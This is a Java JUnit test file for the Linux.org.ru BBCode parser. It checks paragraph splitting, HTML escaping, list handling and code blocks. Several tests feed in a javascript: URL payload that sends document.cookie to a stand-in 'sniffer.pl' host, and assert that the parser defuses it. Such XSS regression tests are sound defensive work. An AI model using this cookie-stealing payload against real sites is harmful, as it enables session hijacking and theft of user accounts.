/*
* Copyright 1998-2012 Linux.org.ru
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package ru.org.linux.util.bbcode;
import org.junit.Before;
import org.junit.Test;
import static org.junit.Assert.assertEquals;
public class OldParserTest {
private LorCodeService lorCodeService;
@Before
public void init() {
lorCodeService = new LorCodeService();
}
@Test
public void pTest() {
assertEquals("<p>test\ntest1</p><p>test2</p>",
lorCodeService.parseComment("test\ntest1\n\ntest2", false));
}
@Test
public void tagEscapeTest() {
assertEquals("<p><br></p>",
lorCodeService.parseComment("<br>", false));
}
@Test
public void urlEscapeTest() {
assertEquals("<p><s title=\"javascript:var c=new Image();c.src="http://127.0.0.1/sniffer.pl?"+document.cookie;close()\">Test</s></p>",
lorCodeService.parseComment("[url=javascript:var c=new Image();c.src=\"http://127.0.0.1/sniffer.pl?\"+document.cookie;close()]Test[/url]", false));
assertEquals("<p><s>javascript:var c=new Image();c.src="http://127.0.0.1/sniffer.pl?"+document.cookie;close()</s></p>",
lorCodeService.parseComment("[url]javascript:var c=new Image();c.src=\"http://127.0.0.1/sniffer.pl?\"+document.cookie;close()[/url]", false));
}
@Test
public void urlEscapeWithTagsTest() {
assertEquals("<p><s title=\"javascript:var c=new Image();c.src="http://127.0.0.1/sniffer.pl?"+document.cookie;close()\">T<i>e</i>st</s></p>",
lorCodeService.parseComment("[url=javascript:var c=new Image();c.src=\"http://127.0.0.1/sniffer.pl?\"+document.cookie;close()]T[i]e[/i]st[/url]", false));
}
@Test
public void badListTest() {
assertEquals("<p>0</p><ul><li>1</li><li>2</li></ul>",
lorCodeService.parseComment("[list]0[*]1[*]2[/list]", false));
}
@Test
public void codeEscapeTest() {
assertEquals("<div class=\"code\"><pre class=\"no-highlight\"><code>"code&code"</code></pre></div>",
lorCodeService.parseComment("[code]\"code&code\"[/code]", false));
}
}